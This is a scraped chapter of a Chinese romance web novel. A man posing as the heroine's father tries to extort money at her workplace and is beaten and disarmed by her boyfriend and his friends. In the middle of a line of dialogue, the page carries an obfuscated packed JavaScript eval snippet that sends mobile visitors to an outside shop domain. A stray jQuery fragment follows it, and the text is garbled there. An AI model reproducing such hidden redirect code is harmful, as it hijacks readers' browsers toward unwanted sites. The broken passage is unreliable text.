文趣网 > 其他小说 > 薄荷青柠 > 48. 第 48 章
    “你说这石森也是命好,人家路筱筱摸爬滚打才到今天这个位置,他一部剧就爆了,下一部剧立马就跟路筱筱合作,凭什么啊?”

    “哎,别说石森了,有温柠那个命我都知足了,人家男朋友又高又帅又有钱,上次路筱筱那个绯闻,也是人家着手解决的,一下子就升职了。”

    “温柠?”路过的男人顿了一下,这名字怎么这么熟悉呢,他仔细回想了一下,猛地跑过去。

    “那个……”他拦住要走的两人,气喘吁吁的问,“你们说那个温柠,她多大了,男的女的?”

    两人面面相觑,互相使了个眼神,王漾转头看他,这人看上去五十来岁,一米七出头,长得很壮实,皮肤粗糙黝黑,穿着件褪色的迷彩外套。

    “你是谁啊?认识温柠?”

    男人后退了一步,语气比刚刚温和了些,可说话的声音还是低沉的沙哑,“哦,我有个侄女也叫温柠,二十好几岁了吧,她叫我来这里找她,我刚刚听你们聊天,就来问问。”

    听她这么说,王漾也放松了戒备,笑着说,“哦,是温柠的叔叔啊,她最近比较忙,你可以去前台问一下,或者在大厅里等她下班也是可以的,我们一会上去告诉她一下?”

    “不用了不用了。”男人摆了摆手,“让她忙去吧,我等她下班就行。”

    过了好一会,等两人走远,男人才推门进公司,他抬头扫视了一圈,最后眼神落在前台的人身上。

    他快步走过去,敲了敲桌面,“那个,我找温柠。”

    前台抬起头看他,“您好先生,请问她是哪个部门的呢?”

    男人皱了皱眉,语气不耐烦,“什么哪个部门的,就叫温柠,你把人叫来。”

    前台被他恶劣的态度弄的不爽,但基于职业操守还是微笑着,“先生,我们公司员工很多,不知道哪个部门的话,我们没办法联系呢。”

    “你他妈能不能……”

    “喂,你找谁啊?”男人还没说完,一个慵懒不耐的声音传了过来。

    男人转身,仰头看他,“我找温柠,你认识?”

    孔泽垂着眼上下打量了一下他,懒洋洋的问,“找温柠啊,你是她谁啊?”

    男人嗓门突然变大,吼道,“老子是她爹,你赶紧给我把她找出来。”

    孔泽啧了一声捏了捏耳朵,一脸不屑地看着他,“你他妈嚎什么啊?就你还温柠的爹,你看看你那鬼样子,能生出来这女儿吗?”

    男人低头看了一眼沾灰的牛仔裤和破旧的帆布鞋,挠了挠头,“妈了个吧的,你怎么说话,小心老子…”

    他想到什么,话头一转,“哦,你就是她那个有钱的男朋友吧?也行,就你,给点钱给我,给个百八十万的,我马上就走。”男人伸出手,掌心朝上招了招。

    孔泽眼皮都没抬,后退一步,冷笑一声,“你该庆幸是我,真是他在这,你都没机会站在这说话。”

    孔泽低头看了一眼腕表,快到下班时间了,防止一会惹出事来,他插着兜看眼前的壮汉,勾了勾手,“你,出来,出来谈。”

    “滚你个蛋的,老子凭什么跟你出去?”

    孔泽回头看他,“不是要钱吗?出来,出来就给你,多少都给,反正老子多的是钱。”

    男人迟疑了一下,拍了拍袖子,低声骂了句什么,还是跟出来,“你最好给我说话算话,不然我对你不客气!”

    “走快点!慢点钱就少点!”

    “妈了个巴的!”

    程诗刚从电梯里走出来,正在给薄言发消息,「呜呜呜,我和孔泽分手了」

    「是么?这么巧,我和温柠也分手了。」

    「?!我靠真的假的,你他妈别开玩笑了。」

    「不是你先开玩笑的吗?」

    程诗本来想着愚人节整蛊他一下,没想到反被整蛊了,没好气地翻了个白眼。

    「房间布置好了,明天温柠生日,我想今年卡点给她庆生,现在去接她,马上到了。」

    「我正好在Star,待会一起走。」

    她关上手机,抬起头,就看到孔泽跟着个佝偻的男人走了,她愣了一下走过去问前台,“那谁啊?”

    前台不满的骂了一句,“鬼知道啊,非说是什么温柠她爸,说话可粗鲁,神经病一个。”

    程诗皱了皱眉,“温柠她爸?”她从来没听温柠说过她爸爸,再说真要是她爸打个电话不就行了,跑着来找什么人。

    “那个,你打电话给营销部的经理,叫她找个理由让部门加会班,就说我说的,谢谢啊。”

    她把包往肩上提了提,跑了出去。

    孔泽带着他往后巷走了走,停下脚步回头看他,“那个,你说你是温柠她爸,有什么证据啊?”

    “要什么证据啊,她是老子养的还要证据?”他暴躁的从衣服内袋里摸出身份证,“看清楚没,老子叫温学义,也姓温。”

    孔泽不屑的笑了一声,“这他妈叫什么证据,我还姓温呢,我是不是也是你老子?”

    “少放你妈的狗屁,我他妈……”

    孔泽一把捏住他挥来的手,力气大的像是要捏碎他的骨头,“你给我老实点!我没兴趣陪你闹。”

    程诗慌慌忙忙踩着高跟鞋跑过来,见两人起了争执,着急的叫了一声,“孔泽!”

    孔泽听到声音猛的甩开手回头,一把搂住程诗的腰往后带了带,轻声,“你来干什么?先走,我跟他谈就行。”

    程诗拉着他的手,压低声音,“我刚发消息给薄言,他应该就快到了。”

    温学义眯着眼看了看程诗,往前走了一步,“温柠?都长这么大了啊!是不是不认识你爹了?”

    他看着程诗那头不黄不白的头发一肚子火,啧了一声拽了一根捏在手心看了看,“啧,你看看你这头发像个什么样子?跟个……”

    孔泽咬着牙,不动神色的往前一步把程诗带到身后,“滚蛋,瞎了眼就去治,别在这动手动脚的!”

    那男人不耐烦的摸了一把脸,“行行行,我也没劲给你们废话,说吧,你俩谁给钱?”

    程诗往前站了一步,扫了他一眼,冷笑一声,“我们凭什么给你钱?乞丐讨钱还有点礼貌呢,你还理直气壮的勒索?”

    “嘿你个小丫头片子,我是你老亲子!你不给钱谁给钱?少废话,给了钱我马上就走。”

    “啊!疼……”温学义一转身,一个比他高将近二十公分的男人死死的捏着他的手腕骨骼处,力道大的快要掰断。

    薄言居高临下的看着他,两个人距离不到半米,他重重的甩开手,拇指捏了捏掌心,“听说你是温柠的父亲?”

    温学义仰起头看着他,脖子一梗:“对啊,怎么了?你他妈又是谁?妈的,这丫头男人还挺多啊。”

    温学义往前逼了半步,拉开迷彩外套,露出里面泛黄的白短袖,像是要干架前的夸大气场,“行,我也不管你是谁,反正你们谁给钱都行,我就要钱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934757|212606||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    “要多少?”

    男人认真想了想,估摸着这几个人都是有钱样子,索性狮子大开口,能要多少要多少,“一个亿!”

    孔泽给气笑了,“你他妈坐地起价也有个度吧,刚还百十来万,现在就一个亿了?”

    男人也不要脸,眼神在他们三个人间游走,插着腰,一副无赖样,“三个人,一个亿,不多吧?”

    薄言垂着眼,仔细看了看他,“你数得过来多少是一个亿吗?”他嗤笑一声,“看你这样子,给个十块钱给你得了,就一个0你应该数得过来。”

    “艹你他妈的!”温学义伸手朝他的胸口推过来,他的手又大又厚,指节粗糙,指甲缝还里嵌着黑色的泥,重重的落在薄言胸口。

    “你他妈的找死呢?”薄言死死的抓住温学义的手腕,戾气大的要杀人,他反手用力往里折,疼的他嗷嗷直叫。

    薄言咬了咬牙,发力把人一推,温学义重心不稳,踉跄着后退了好几步,后背咚的一声撞上大理石墙面,疼的他咬牙闷哼一声。

    “畜生东西,你也配叫我女人的名字。”薄言一拳狠狠地落在他的颧骨,“你老子因为没钱治病死了,你老婆因为你无能跑了,你女儿更是没过过一天好日子,拼着命才安稳点,你现在还有脸跑来要钱?”

    他俯下身,捏着温学义的下巴逼着他抬头,呸了一声口水溅到他脸上,“我要是你,早早就上吊死了得了,说不定还能成为人家茶余饭后的闲谈,倒不至于活的这幅人鬼不分的样子!”

    薄言越说越冒火,又是狠狠的一拳落在他的鼻梁上,鼻子被打的一歪,指节撞击软骨的声音清晰可闻,下一秒浓稠的鼻血就从他的鼻腔里涌出来。

    薄言一把抓住他的领子,刚挥出拳头又要打就被孔泽拉住胳膊,“行了啊,再打真要闹出事了,别冲动。”

    薄言咬住下唇,松开他的领子,嫌弃的擦了擦手,“不想死就滚远点!”

    温学义双手抻着膝头咳嗽了两声,喘着粗气,“你凭什么打人,老子要报警!

    薄言不屑的哼了一声,“行啊,你尽管去报,在场的都是我的人,你看看谁帮你作证。”

    温学义弯着腰,转头看了看薄言,手指着他的脸,“你他妈……”

    薄言瞥了他一眼,他注意到温学义左侧胸口的口袋里鼓鼓囊囊的,薄言的手比他的大脑先反应过来,上前两步把手指探进他口袋。

    抽出来的是一把弹簧刀,薄言按了两下刀刃就弹了出来。

    温学义瞬间瞪大眼睛伸手要抢却扑了个踉跄,“还给老子!”

    薄言抬高手臂把刀举到眼前,反过来看了看。刀刃不长,十厘米都不到,他笑了笑,两个指头捏着刀柄晃了晃,“还想杀人啊?”

    孔泽愣了一下,随即嗤笑一声,松开程诗的腰走近看他,嘲讽着说,“卧槽,正愁着没理由抓你呢,你居然自己送死来了。”

    他拍了拍薄言的肩头,“你随意吧,这下打死了都没事,合理防卫来的。”

    薄言冷笑一声,“持械寻衅滋事,杀人未遂,知道能判几年吗?”

    孔泽又恢复那副漫不经心懒懒散散的样子,靠着墙,两腿交叉,摸出根烟叼在嘴里,摸了摸程诗的脑袋,“宝贝,报警,叫救护车。”

    孔泽的烟叼在嘴里还没来得及点,打火机盖刚弹开,他低着头,几缕碎发垂在额前,掌心拢着打火机防风,火苗窜出来,烟尾快要碰到火焰时,他的瞳孔微缩。